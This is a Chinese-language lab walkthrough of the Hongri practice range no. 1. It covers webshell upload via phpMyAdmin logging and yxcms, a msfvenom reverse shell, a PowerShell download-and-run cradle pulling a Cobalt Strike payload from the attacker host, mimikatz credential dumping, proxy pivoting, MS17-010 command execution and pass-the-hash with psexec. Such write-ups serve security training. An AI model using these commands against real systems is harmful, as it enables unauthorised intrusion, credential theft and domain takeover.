红日靶场一
环境搭建
三台虚拟机:Win7、Win2003、Win2008 ,默认密码均为hongrisec@2009(若win7重启后密码不对,试试Qwer1234)
kali一个nat网卡,模拟外网攻击机 192.168.52.128
win7一个nat网卡,一个VMnet 1网卡,模拟web服务器 192.168.52.143
win2003一个VMnet 1网卡,模拟内网域成员主机 192.168.52.141
win2008一个VMnet 1网卡,模拟内网域控主机 192.168.52.138
拓扑图
设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1 web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透
win server2008、win2k3密码需更改,改为admin@123
外网渗透
信息搜集
nmap扫端口服务(启用了防火墙,无法ping)
目录扫描
phpmyadmin
root/root成功进入后台
1 | SHOW GLOBAL VARIABLES LIKE '%secure%' |
secure_file_priv为NULL,没有权限写文件,不能用into outfile写shell
采用日志写shell
查找绝对路径
1 | set global general_log = "ON"; #开启日志记录功能 |
蚁剑连接
yxcms
扫出来的beifen.rar发现有个yxcms,猜测应该使用了yxcms建站系统,访问一下
登陆页面
此时的url后面参数r跟着的是member,既然是member,那肯定存在管理员admin或者root之类的。试着改一改,蹦出管理后台登录界面 index.php?r=admin/index/login
成功进入后台管理界面(有很多地方可以xss),在前台模板界面可以添加php文件
成功写入木马
上传了以后,下一步就是找路径,路径很重要
可以直接网上搜yxcms的模板文件路径
1 | /protected/apps/default/view/default/xx.php |
也可以抓包,让文件名不合法,爆出路径
蚁剑连接即可。这就是第二种方式getshell
内网渗透
关闭win7防火墙
1 | netsh advfirewall set allprofiles state off |
尝试远程登录
查看当前用户权限,因为一般拿下window的话都会尝试去连接它的远程桌面,所以再查看一下3389端口开放情况
添加用户
1 | net user micgo admin@123 /add #添加账户密码 |
上线msf
利用msfvenom创建一个后门程序:
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.143 LPORT=12345 -f exe -o 12345.exe |
利用蚁剑上传到Win7上
然后msf开启监听
1 | use exploit/multi/handler |
利用蚁剑的虚拟终端运行我们的后门程序,成功上线msf,输入查看可执行的命令
可以用getsystem提权
开启远程桌面
1 | run post/windows/manage/enable_rdp |
会生成一个文件,该文件可用来再关闭远程桌面
1 | run multi_console_command -r 文件地址 |
获取账号密码
加载kiwi模块(新版mimikatz),加载模块前需要先将meterpreter迁移到64位的进程,而且该进程需要是system权限运行的
通过ps查看一下,选择x64并且SYSTEM权限的随便一个
1 | migrate 428 |
发现主机
1 | run arp_scanner -r 192.168.52.0/24 |
提权
1 | run post/multi/recon/local_exploit_suggester |
上线cs
在kali以root权限启动服务端,在win10启动客户端(具体可看cs学习笔记)
1 | chmod 755 teamserver |
生成CS后门test.exe,通过菜刀上传,然后执行
派生Cobalt Strike权限
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.128:80/a'))" |
msf传cs
1 | background |
成功上线win10的CS
cs传msf
在CS上建立新的foreign监听
在msf配置session,端口一致
1 | use exploit/multi/handler |
之后在CS上新建会话,选用新建的foreign监听
联动成功
域信息收集
1 | 1.ipconfig 看所处网段是否有多个 |
横向移动
添加路由、挂socks4a代理
添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机(win7)的meterpreter会话来传递;添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务(添加路由一定要在挂代理之前,因为代理需要用到路由功能)
1 | run get_local_subnets |
添加内网路由
1 | run autoroute -s 192.168.52.0/24 |
arp -a 查看一下所有接口的当前 ARP 缓存表
设置代理
1 | use auxiliary/server/socks_proxy |
修改proxychain文件
1 | vim /etc/proxychains.conf |
设置成功后打开其他程序需在前面加上proxychains
1 | proxychains4 nmap -Pn -sT 192.168.52.143 |
内网存活主机探测
1 | auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机 |
内网存活主机端口扫描
1 | proxychains nmap -Pn -sT 192.168.52.141 |
内网存活主机服务探测
1 | auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口 |
永恒之蓝拿下主机
win2003 192.168.52.141
开放了445端口,利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是win2003
使用msf辅助模块进行扫描,查看是否存在ms17-010漏洞
1 | nmap --script=vuln 192.168.52.141 |
1 | use auxiliary/admin/smb/ms17_010_command |
然后使用proxychains连接 proxychains rdesktop 192.168.52.141
利用ms17_010测试一下win2008,也是成功的。这两台域内主机都可以用ms17_010拿下。这里命令改成派生Cobalt Strike
1 | set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.128:80/a'))" |
telnet服务上传漏洞
利用23端口telnet服务上传漏洞,首先通过ms17_010开启23端口与telnet服务
1 | set command sc config tlntsvr start= auto |
查看是否成功打开23端口
1 | set command netstat -an |
进行telnet连接
1 | use auxiliary/scanner/telnet/telnet_login |
1 | telnet 192.168.10.129 |
MSF哈希传递攻击PTH
在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机
在域环境中,利用哈希传递攻击的渗透方式往往是这样的:
- 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值
- 通过哈希传递攻击尝试登录其他主机
- 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域
获得 NTLM Hash:c3a48ef15bf6ff6c4df2131cf3c58c9b,在 Metasploit 中,经常使用于哈希传递攻击的模块有:
1 | auxiliary/admin/smb/psexec_command //在目标机器上执行系统命令 |
以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:
1 | use exploit/windows/smb/psexec |